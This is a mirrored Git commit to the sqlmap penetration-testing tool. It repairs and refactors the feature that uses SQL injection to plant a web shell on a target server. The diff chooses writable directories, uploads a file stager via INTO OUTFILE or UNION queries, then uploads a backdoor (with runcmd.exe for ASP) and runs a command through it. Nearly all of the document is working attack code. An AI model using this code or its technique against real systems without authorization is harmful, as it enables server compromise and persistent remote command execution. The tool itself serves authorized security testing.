mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d
)
This commit is contained in:
parent
6863436d4e
commit
dfa9076a70
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
|
|||
|
||||
return testableParameters
|
||||
|
||||
def getDocRoot():
|
||||
docRoot = None
|
||||
def getManualDirectories():
|
||||
directories = None
|
||||
pagePath = directoryPath(conf.path)
|
||||
|
||||
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
|
||||
|
||||
if kb.absFilePaths:
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if docRoot:
|
||||
if directories:
|
||||
break
|
||||
|
||||
if directoryPath(absFilePath) == '/':
|
||||
|
@ -636,41 +636,41 @@ def getDocRoot():
|
|||
_ = "/%s/" % _
|
||||
|
||||
if _ in absFilePath:
|
||||
docRoot = "%s%s" % (absFilePath.split(_)[0], _)
|
||||
directories = "%s%s" % (absFilePath.split(_)[0], _)
|
||||
break
|
||||
|
||||
if pagePath and pagePath in absFilePath:
|
||||
docRoot = absFilePath.split(pagePath)[0]
|
||||
directories = absFilePath.split(pagePath)[0]
|
||||
if windowsDriveLetter:
|
||||
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot))
|
||||
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
|
||||
|
||||
docRoot = normalizePath(docRoot)
|
||||
directories = normalizePath(directories)
|
||||
|
||||
if docRoot:
|
||||
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||
if directories:
|
||||
infoMsg = "retrieved the web server document root: '%s'" % directories
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve automatically the web server "
|
||||
warnMsg += "document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
docRoot = []
|
||||
directories = []
|
||||
|
||||
message = "what do you want to use for web server document root?\n"
|
||||
message = "what do you want to use for writable directory?\n"
|
||||
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
|
||||
message += "[2] custom location\n"
|
||||
message += "[2] custom location(s)\n"
|
||||
message += "[3] custom directory list file\n"
|
||||
message += "[4] brute force search\n"
|
||||
choice = readInput(message, default="1").strip()
|
||||
|
||||
if choice == "2":
|
||||
message = "please provide the web server document root: "
|
||||
docRoot = readInput(message, default="").split(',')
|
||||
message = "please provide a comma separate list of absolute directory paths: "
|
||||
directories = readInput(message, default="").split(',')
|
||||
elif choice == "3":
|
||||
message = "what's the list file location?\n"
|
||||
listPath = readInput(message, default="")
|
||||
checkFile(listPath)
|
||||
docRoot = getFileItems(listPath)
|
||||
directories = getFileItems(listPath)
|
||||
elif choice == "4":
|
||||
targets = set([conf.hostname])
|
||||
_ = conf.hostname.split('.')
|
||||
|
@ -691,31 +691,30 @@ def getDocRoot():
|
|||
for target in targets:
|
||||
item = "%s/%s" % (prefix, suffix)
|
||||
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
|
||||
docRoot.append(item)
|
||||
directories.append(item)
|
||||
|
||||
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
|
||||
break
|
||||
|
||||
infoMsg = "using common document root locations: %s" % ','.join(docRoot)
|
||||
infoMsg = "using common directories: %s" % ','.join(directories)
|
||||
logger.info(infoMsg)
|
||||
|
||||
msg = "use additional custom "
|
||||
msg += "document root locations [Enter for None]: "
|
||||
msg = "use additional custom directories [Enter for None]: "
|
||||
answer = readInput(msg)
|
||||
|
||||
if answer:
|
||||
docRoot.extend(answer.split(','))
|
||||
directories.extend(answer.split(','))
|
||||
|
||||
else:
|
||||
docRoot = defaultDocRoot
|
||||
directories = defaultDocRoot
|
||||
|
||||
return docRoot
|
||||
return directories
|
||||
|
||||
def getDirs():
|
||||
def getAutoDirectories():
|
||||
directories = set("/")
|
||||
|
||||
if kb.absFilePaths:
|
||||
infoMsg = "retrieved web server full paths: "
|
||||
infoMsg = "retrieved web server absolute paths: "
|
||||
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
@ -728,7 +727,8 @@ def getDirs():
|
|||
warnMsg = "unable to retrieve automatically any web server path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url)
|
||||
webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
|
||||
|
||||
if webDir:
|
||||
directories.add(webDir)
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
@ -17,8 +17,8 @@ from lib.core.agent import agent
|
|||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import getDirs
|
||||
from lib.core.common import getDocRoot
|
||||
from lib.core.common import getAutoDirectories
|
||||
from lib.core.common import getManualDirectories
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import getUnicode
|
||||
|
@ -194,8 +194,9 @@ class Web:
|
|||
self.webApi = choices[int(choice) - 1]
|
||||
break
|
||||
|
||||
kb.docRoot = arrayizeValue(getDocRoot())
|
||||
directories = sorted(getDirs())
|
||||
directories = list(arrayizeValue(getManualDirectories()))
|
||||
directories.extend(getAutoDirectories())
|
||||
directories = sorted(set(directories))
|
||||
|
||||
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
||||
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
||||
|
@ -204,155 +205,162 @@ class Web:
|
|||
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||
success = False
|
||||
|
||||
for docRoot in kb.docRoot:
|
||||
for directory in directories:
|
||||
if success:
|
||||
break
|
||||
|
||||
for directory in directories:
|
||||
uriPath = ""
|
||||
uploaded = False
|
||||
directory = ntToPosixSlashes(normalizePath(directory))
|
||||
|
||||
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
|
||||
continue
|
||||
if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
||||
directory = "/%s" % directory
|
||||
else:
|
||||
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
||||
|
||||
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
|
||||
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
|
||||
directory = posixpath.normpath(directory)
|
||||
|
||||
# '' or '/' -> 'docRoot'
|
||||
if not directory:
|
||||
localPath = docRoot
|
||||
uriPath = '/'
|
||||
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
|
||||
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
||||
localPath = "%s/%s" % (docRoot, directory)
|
||||
uriPath = "/%s" % directory
|
||||
else:
|
||||
localPath = directory
|
||||
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
||||
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
|
||||
infoMsg = "trying to upload the file stager on '%s' " % directory
|
||||
infoMsg += "via LIMIT INTO OUTFILE technique"
|
||||
logger.info(infoMsg)
|
||||
self._webFileInject(stagerContent, stagerName, directory)
|
||||
|
||||
if docRoot in uriPath:
|
||||
uriPath = uriPath.replace(docRoot, "/")
|
||||
uriPath = "/%s" % normalizePath(uriPath)
|
||||
else:
|
||||
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
|
||||
for x in list(re.finditer('/', directory)):
|
||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
|
||||
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
|
||||
|
||||
if webDir:
|
||||
uriPath = "/%s" % webDir
|
||||
else:
|
||||
continue
|
||||
|
||||
localPath = posixpath.normpath(localPath).rstrip('/')
|
||||
uriPath = posixpath.normpath(uriPath).rstrip('/')
|
||||
|
||||
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
|
||||
infoMsg = "trying to upload the file stager on '%s' " % localPath
|
||||
infoMsg += "via LIMIT INTO OUTFILE technique"
|
||||
logger.info(infoMsg)
|
||||
self._webFileInject(stagerContent, stagerName, localPath)
|
||||
|
||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
||||
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
|
||||
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
|
||||
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||
uplPage = uplPage or ""
|
||||
|
||||
# Fall-back to UNION queries file upload technique
|
||||
if "sqlmap file uploader" not in uplPage:
|
||||
warnMsg = "unable to upload the file stager "
|
||||
warnMsg += "on '%s'" % localPath
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if "sqlmap file uploader" in uplPage:
|
||||
uploaded = True
|
||||
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
||||
infoMsg = "trying to upload the file stager on '%s' " % localPath
|
||||
infoMsg += "via UNION technique"
|
||||
logger.info(infoMsg)
|
||||
# Fall-back to UNION queries file upload technique
|
||||
if not uploaded:
|
||||
warnMsg = "unable to upload the file stager "
|
||||
warnMsg += "on '%s'" % directory
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
handle, filename = mkstemp()
|
||||
os.fdopen(handle).close() # close low level handle (causing problems later)
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
||||
infoMsg = "trying to upload the file stager on '%s' " % directory
|
||||
infoMsg += "via UNION technique"
|
||||
logger.info(infoMsg)
|
||||
|
||||
with open(filename, "w+") as f:
|
||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
|
||||
f.write(utf8encode(_))
|
||||
handle, filename = mkstemp()
|
||||
os.fdopen(handle).close() # close low level handle (causing problems later)
|
||||
|
||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||
with open(filename, "w+") as f:
|
||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
||||
f.write(utf8encode(_))
|
||||
|
||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||
|
||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||
uplPage = uplPage or ""
|
||||
|
||||
for x in list(re.finditer('/', directory)):
|
||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
|
||||
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
|
||||
|
||||
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||
uplPage = uplPage or ""
|
||||
|
||||
if "sqlmap file uploader" not in uplPage:
|
||||
continue
|
||||
else:
|
||||
continue
|
||||
|
||||
if "<%" in uplPage or "<?" in uplPage:
|
||||
warnMsg = "file stager uploaded on '%s', " % localPath
|
||||
warnMsg += "but not dynamically interpreted"
|
||||
logger.warn(warnMsg)
|
||||
if "sqlmap file uploader" in uplPage:
|
||||
uploaded = True
|
||||
else:
|
||||
continue
|
||||
|
||||
elif self.webApi == WEB_API.ASPX:
|
||||
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
|
||||
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
|
||||
if not uploaded:
|
||||
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
|
||||
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
|
||||
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
|
||||
|
||||
infoMsg = "the file stager has been successfully uploaded "
|
||||
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if self.webApi == WEB_API.ASP:
|
||||
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
||||
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||
uplPage = uplPage or ""
|
||||
|
||||
if match:
|
||||
backdoorDirectory = match.group(1)
|
||||
if "sqlmap file uploader" not in uplPage:
|
||||
continue
|
||||
|
||||
if "<%" in uplPage or "<?" in uplPage:
|
||||
warnMsg = "file stager uploaded on '%s', " % directory
|
||||
warnMsg += "but not dynamically interpreted"
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
elif self.webApi == WEB_API.ASPX:
|
||||
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
|
||||
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
|
||||
|
||||
infoMsg = "the file stager has been successfully uploaded "
|
||||
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if self.webApi == WEB_API.ASP:
|
||||
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
||||
|
||||
if match:
|
||||
backdoorDirectory = match.group(1)
|
||||
else:
|
||||
continue
|
||||
|
||||
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
||||
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
|
||||
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
|
||||
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
||||
self.webDirectory = backdoorDirectory
|
||||
else:
|
||||
continue
|
||||
|
||||
else:
|
||||
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
|
||||
warnMsg = "backdoor has not been successfully uploaded "
|
||||
warnMsg += "through the file stager possibly because "
|
||||
warnMsg += "the user running the web server process "
|
||||
warnMsg += "has not write privileges over the folder "
|
||||
warnMsg += "where the user running the DBMS process "
|
||||
warnMsg += "was able to upload the file stager or "
|
||||
warnMsg += "because the DBMS and web server sit on "
|
||||
warnMsg += "different servers"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
message = "do you want to try the same method used "
|
||||
message += "for the file stager? [Y/n] "
|
||||
getOutput = readInput(message, default="Y")
|
||||
|
||||
if getOutput in ("y", "Y"):
|
||||
self._webFileInject(backdoorContent, backdoorName, directory)
|
||||
else:
|
||||
continue
|
||||
|
||||
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
||||
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
|
||||
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
|
||||
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
||||
self.webDirectory = backdoorDirectory
|
||||
else:
|
||||
continue
|
||||
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
||||
self.webDirectory = directory
|
||||
|
||||
else:
|
||||
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
|
||||
warnMsg = "backdoor has not been successfully uploaded "
|
||||
warnMsg += "through the file stager possibly because "
|
||||
warnMsg += "the user running the web server process "
|
||||
warnMsg += "has not write privileges over the folder "
|
||||
warnMsg += "where the user running the DBMS process "
|
||||
warnMsg += "was able to upload the file stager or "
|
||||
warnMsg += "because the DBMS and web server sit on "
|
||||
warnMsg += "different servers"
|
||||
logger.warn(warnMsg)
|
||||
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
|
||||
|
||||
message = "do you want to try the same method used "
|
||||
message += "for the file stager? [Y/n] "
|
||||
getOutput = readInput(message, default="Y")
|
||||
testStr = "command execution test"
|
||||
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
||||
|
||||
if getOutput in ("y", "Y"):
|
||||
self._webFileInject(backdoorContent, backdoorName, localPath)
|
||||
else:
|
||||
continue
|
||||
if output and testStr in output:
|
||||
infoMsg = "the backdoor has been successfully "
|
||||
else:
|
||||
infoMsg = "the backdoor has probably been successfully "
|
||||
|
||||
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
||||
self.webDirectory = localPath
|
||||
infoMsg += "uploaded on '%s' - " % self.webDirectory
|
||||
infoMsg += self.webBackdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
|
||||
success = True
|
||||
|
||||
testStr = "command execution test"
|
||||
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
||||
|
||||
if output and testStr in output:
|
||||
infoMsg = "the backdoor has been successfully "
|
||||
else:
|
||||
infoMsg = "the backdoor has probably been successfully "
|
||||
|
||||
infoMsg += "uploaded on '%s' - " % self.webDirectory
|
||||
infoMsg += self.webBackdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
success = True
|
||||
|
||||
break
|
||||
break
|
||||
|
|
Loading…
Reference in New Issue
Block a user